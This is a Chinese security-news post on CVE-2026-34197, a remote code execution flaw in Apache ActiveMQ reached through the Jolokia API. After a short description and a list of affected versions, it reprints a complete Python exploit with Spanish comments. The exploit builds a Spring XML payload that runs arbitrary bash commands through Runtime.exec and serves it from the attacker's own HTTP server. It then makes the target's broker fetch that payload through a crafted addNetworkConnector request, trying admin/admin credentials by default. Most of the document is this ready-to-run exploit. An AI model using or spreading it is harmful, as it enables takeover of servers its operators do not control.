
0x00 前言
ActiveMQ是Apache出品的一款开源消息中间件,完全支持JMS 1.1和J2EE 1.4规范,能为分布式系统提供高效、稳定、安全的企业级消息通信服务。
它支持Java、C、Python等多语言客户端,兼容OpenWire、Stomp、AMQP等多种协议,还具备消息持久化、优先级设置、延迟接收、主从管理等丰富特性,可轻松嵌入Spring应用,适配TomEE、JBoss等多种J2EE服务器。
其核心包含Broker(消息代理服务器)、Producer(消息生产者)、Consumer(消息消费者)等组件,支持点对点(Queue)和发布订阅(Topic)两种消息传递模型,前者确保每条消息仅被一个消费者接收,后者可实现消息向所有订阅者广播,能有效帮助系统实现解耦、异步通信与流量削峰。
0x01 漏洞描述
该漏洞源于系统通过/api/jolokia/暴露Jolokia JMX-HTTP接口,并且默认访问策略允许对org.apache.activemq:* MBeans执行exec操作。由于对输入的discovery URI参数缺乏有效校验,攻击者可构造恶意brokerConfig参数,触发ResourceXmlApplicationContext加载远程Spring XML配置。
在Spring初始化阶段会提前实例化Bean,攻击者可借助Runtime.exec()等方法实现任意代码执行。
0x02 CVE编号
CVE-2026-34197
0x03 影响版本
Apache ActiveMQ Broker < 5.19.4
6.0.0 <= Apache ActiveMQ Broker < 6.2.3
Apache ActiveMQ < 5.19.4
6.0.0 <= Apache ActiveMQ < 6.2.30x04 漏洞详情
POC:
https://github.com/DEVSECURITYSPRO/CVE-2026-34197
#!/usr/bin/env python3
"""
CVE-2026-34197 — Apache ActiveMQ RCE vía Jolokia API
Ejecución remota de código en Apache ActiveMQ Classic a través de la
operación addNetworkConnector expuesta por Jolokia. El exploit fuerza
al broker a descargar y ejecutar un archivo de configuración Spring XML
malicioso mediante el transporte VM y el esquema xbean:.
Versiones afectadas:
- ActiveMQ Classic < 5.19.4
- ActiveMQ Classic 6.0.0 — 6.2.2
En versiones 6.0.0 — 6.1.1 no se requiere autenticación (CVE-2024-32114).
Uso:
python exploit.py -t http://OBJETIVO:8161 -l MI_IP -c "id"
Autor: KONDOR DEV SECURITY
PoC con fines educativos y de investigación en seguridad.
"""
import argparse
import http.server
import os
import sys
import threading
import time
import socket
try:
import requests
except ImportError:
print("[!] Módulo 'requests' no encontrado. Instalar con: pip install requests")
sys.exit(1)
# ─── Colores para la terminal ───────────────────────────────────────────────
class Color:
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
CYAN = "\033[96m"
RESET = "\033[0m"
BANNER = f"""{Color.CYAN}
╔═══════════════════════════════════════════════════════════╗
║ CVE-2026-34197 — Apache ActiveMQ RCE via Jolokia API ║
║ ActiveMQ Classic < 5.19.4 / 6.0.0 — 6.2.2 ║
║ By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY ║
╚═══════════════════════════════════════════════════════════╝
{Color.RESET}"""
# ─── Generación del payload XML ─────────────────────────────────────────────
def generar_payload_xml(comando: str) -> str:
"""Genera el payload Spring XML que ejecuta el comando dado."""
payload_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "payloads")
template_path = os.path.join(payload_dir, "template.xml")
if os.path.exists(template_path):
with open(template_path, "r", encoding="utf-8") as f:
template = f.read()
return template.replace("{{COMMAND}}", comando)
# Fallback: generar inline si no existe la plantilla
return f"""<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="targetObject">
<bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="targetClass" value="java.lang.Runtime"/>
<property name="targetMethod" value="getRuntime"/>
</bean>
</property>
<property name="targetMethod" value="exec"/>
<property name="arguments">
<list>
<array value-type="java.lang.String">
<value>/bin/bash</value>
<value>-c</value>
<value>{comando}</value>
</array>
</list>
</property>
</bean>
</beans>"""
# ─── Servidor HTTP para servir el payload ────────────────────────────────────
class PayloadHandler(http.server.BaseHTTPRequestHandler):
"""Servidor HTTP que sirve el payload XML y registra las peticiones."""
payload_xml = ""
peticion_recibida = threading.Event()
def do_GET(self, *args, **kwargs):
self.send_response(200)
self.send_header("Content-Type", "application/xml")
self.end_headers()
self.wfile.write(PayloadHandler.payload_xml.encode("utf-8"))
print(f"{Color.GREEN}[+] Payload servido a {self.client_address[0]}{Color.RESET}")
PayloadHandler.peticion_recibida.set()
def log_message(self, format, *args):
# Silenciar logs por defecto del servidor HTTP
pass
def iniciar_servidor_http(lhost: str, lport: int, payload_xml: str) -> http.server.HTTPServer:
"""Inicia el servidor HTTP en un hilo separado para servir el payload."""
PayloadHandler.payload_xml = payload_xml
PayloadHandler.peticion_recibida.clear()
servidor = http.server.HTTPServer((lhost, lport), PayloadHandler)
hilo = threading.Thread(target=servidor.serve_forever, daemon=True)
hilo.start()
return servidor
# ─── Verificación de conectividad ────────────────────────────────────────────
def verificar_objetivo(target: str, auth: tuple | None) -> bool:
"""Verifica que el objetivo sea accesible y que Jolokia responda."""
url = f"{target.rstrip('/')}/api/jolokia/"
try:
kwargs = {"timeout": 10}
if auth:
kwargs["auth"] = auth
resp = requests.get(url, **kwargs)
if resp.status_code == 200:
return True
elif resp.status_code == 401:
print(f"{Color.RED}[!] Autenticación fallida (401). Verificar credenciales.{Color.RESET}")
return False
elif resp.status_code == 403:
print(f"{Color.RED}[!] Acceso prohibido (403) a Jolokia.{Color.RESET}")
return False
else:
print(f"{Color.YELLOW}[*] Respuesta inesperada: HTTP {resp.status_code}{Color.RESET}")
return True # Intentar de todas formas
except requests.ConnectionError:
print(f"{Color.RED}[!] No se pudo conectar a {target}{Color.RESET}")
return False
except requests.Timeout:
print(f"{Color.RED}[!] Timeout al conectar a {target}{Color.RESET}")
return False
def obtener_broker_name(target: str, auth: tuple | None) -> str | None:
"""Intenta obtener el nombre del broker vía Jolokia."""
url = f"{target.rstrip('/')}/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*"
try:
kwargs = {"timeout": 10}
if auth:
kwargs["auth"] = auth
resp = requests.get(url, **kwargs)
if resp.status_code == 200:
data = resp.json()
if "value" in data and data["value"]:
# Extraer el nombre del broker del primer resultado
for key in data["value"]:
if "brokerName=" in key:
return key.split("brokerName=")[1].split(",")[0]
except Exception:
pass
return None
# ─── Exploit principal ───────────────────────────────────────────────────────
def ejecutar_exploit(target: str, lhost: str, lport: int, comando: str,
auth: tuple | None, broker_name: str) -> bool:
"""
Ejecuta el exploit CVE-2026-34197.
1. Genera el payload Spring XML con el comando.
2. Levanta un servidor HTTP para servirlo.
3. Envía la petición a Jolokia para invocar addNetworkConnector
con un URI vm:// que apunta al payload remoto.
"""
print(f"{Color.BLUE}[*] Objetivo: {target}{Color.RESET}")
print(f"{Color.BLUE}[*] Comando: {comando}{Color.RESET}")
print(f"{Color.BLUE}[*] Payload: http://{lhost}:{lport}/payload.xml{Color.RESET}")
print(f"{Color.BLUE}[*] Broker: {broker_name}{Color.RESET}")
print(f"{Color.BLUE}[*] Auth: {'Deshabilitada' if auth is None else auth[0]}{Color.RESET}")
print()
# Paso 1: Generar payload
print(f"{Color.YELLOW}[*] Generando payload XML...{Color.RESET}")
payload_xml = generar_payload_xml(comando)
# Paso 2: Iniciar servidor HTTP
print(f"{Color.YELLOW}[*] Iniciando servidor HTTP en {lhost}:{lport}...{Color.RESET}")
try:
servidor = iniciar_servidor_http("0.0.0.0", lport, payload_xml)
except OSError as e:
print(f"{Color.RED}[!] No se pudo iniciar el servidor HTTP: {e}{Color.RESET}")
return False
print(f"{Color.GREEN}[+] Servidor HTTP escuchando en 0.0.0.0:{lport}{Color.RESET}")
# Paso 3: Enviar petición a Jolokia
jolokia_url = f"{target.rstrip('/')}/api/jolokia/"
rce_broker = "rce" # Nombre del broker ficticio que se creará
discovery_uri = (
f"static:(vm://{rce_broker}?brokerConfig="
f"xbean:http://{lhost}:{lport}/payload.xml)"
)
payload_json = {
"type": "exec",
"mbean": f"org.apache.activemq:type=Broker,brokerName={broker_name}",
"operation": "addNetworkConnector",
"arguments": [discovery_uri]
}
headers = {
"Content-Type": "application/json",
"Origin": target.rstrip("/")
}
print(f"{Color.YELLOW}[*] Enviando petición a Jolokia...{Color.RESET}")
try:
kwargs = {
"json": payload_json,
"headers": headers,
"timeout": 30
}
if auth:
kwargs["auth"] = auth
resp = requests.post(jolokia_url, **kwargs)
if resp.status_code == 200:
data = resp.json()
if data.get("status") == 200:
print(f"{Color.GREEN}[+] Jolokia aceptó la operación (status=200){Color.RESET}")
else:
error = data.get("error", "desconocido")
print(f"{Color.YELLOW}[*] Jolokia respondió con status={data.get('status')}: {error}{Color.RESET}")
# Esto puede ser normal — el comando ya se ejecutó durante la carga del XML
elif resp.status_code == 401:
print(f"{Color.RED}[!] Autenticación fallida (401){Color.RESET}")
servidor.shutdown()
return False
elif resp.status_code == 403:
print(f"{Color.RED}[!] Acceso prohibido (403){Color.RESET}")
servidor.shutdown()
return False
else:
print(f"{Color.YELLOW}[*] Respuesta HTTP: {resp.status_code}{Color.RESET}")
except requests.ConnectionError:
print(f"{Color.RED}[!] Error de conexión al enviar el exploit{Color.RESET}")
servidor.shutdown()
return False
except requests.Timeout:
print(f"{Color.YELLOW}[*] Timeout en la petición (puede ser normal si el comando tarda){Color.RESET}")
# Paso 4: Esperar a que el objetivo descargue el payload
print(f"{Color.YELLOW}[*] Esperando que el objetivo descargue el payload...{Color.RESET}")
if PayloadHandler.peticion_recibida.wait(timeout=15):
print(f"{Color.GREEN}[+] El objetivo descargó el payload. Comando ejecutado.{Color.RESET}")
exito = True
else:
print(f"{Color.YELLOW}[*] No se recibió petición del payload en 15s.{Color.RESET}")
print(f"{Color.YELLOW} Esto puede indicar que el objetivo no es vulnerable,{Color.RESET}")
print(f"{Color.YELLOW} que no puede alcanzar {lhost}:{lport}, o que el broker{Color.RESET}")
print(f"{Color.YELLOW} name '{broker_name}' es incorrecto.{Color.RESET}")
exito = False
# Limpiar
servidor.shutdown()
return exito
# ─── CLI ─────────────────────────────────────────────────────────────────────
def parse_args():
parser = argparse.ArgumentParser(
description="CVE-2026-34197 — Apache ActiveMQ RCE vía Jolokia API",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Ejemplos:
%(prog)s -t http://10.0.0.1:8161 -l 10.0.0.2 -c "id"
%(prog)s -t http://10.0.0.1:8161 -l 10.0.0.2 -c "whoami" -u admin -p secret
%(prog)s -t http://10.0.0.1:8161 -l 10.0.0.2 -c "id" --no-auth
"""
)
parser.add_argument("-t", "--target", required=True,
help="URL base del objetivo (ej: http://10.0.0.1:8161)")
parser.add_argument("-l", "--lhost", required=True,
help="IP del atacante para servir el payload")
parser.add_argument("-lp", "--lport", type=int, default=8888,
help="Puerto del servidor HTTP local (default: 8888)")
parser.add_argument("-c", "--command", required=True,
help="Comando a ejecutar en el objetivo")
parser.add_argument("-u", "--user", default="admin",
help="Usuario de Jolokia (default: admin)")
parser.add_argument("-p", "--password", default="admin",
help="Contraseña de Jolokia (default: admin)")
parser.add_argument("--no-auth", action="store_true",
help="No enviar credenciales (CVE-2024-32114, versiones 6.0.0-6.1.1)")
parser.add_argument("--broker-name", default=None,
help="Nombre del broker (default: autodetectar o 'localhost')")
return parser.parse_args()
def main():
print(BANNER)
args = parse_args()
auth = None if args.no_auth else (args.user, args.password)
# Verificar conectividad
print(f"{Color.YELLOW}[*] Verificando conectividad con el objetivo...{Color.RESET}")
if not verificar_objetivo(args.target, auth):
sys.exit(1)
print(f"{Color.GREEN}[+] Objetivo accesible{Color.RESET}")
# Determinar nombre del broker
broker_name = args.broker_name
if not broker_name:
print(f"{Color.YELLOW}[*] Intentando detectar nombre del broker...{Color.RESET}")
broker_name = obtener_broker_name(args.target, auth)
if broker_name:
print(f"{Color.GREEN}[+] Broker detectado: {broker_name}{Color.RESET}")
else:
broker_name = "localhost"
print(f"{Color.YELLOW}[*] No se pudo detectar. Usando por defecto: {broker_name}{Color.RESET}")
print()
# Ejecutar exploit
exito = ejecutar_exploit(
target=args.target,
lhost=args.lhost,
lport=args.lport,
comando=args.command,
auth=auth,
broker_name=broker_name
)
print()
if exito:
print(f"{Color.GREEN}[+] Exploit completado con éxito{Color.RESET}")
else:
print(f"{Color.RED}[-] Exploit no confirmado — revisar parámetros{Color.RESET}")
sys.exit(0 if exito else 1)
if __name__ == "__main__":
main()
0x05 参考链接
https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!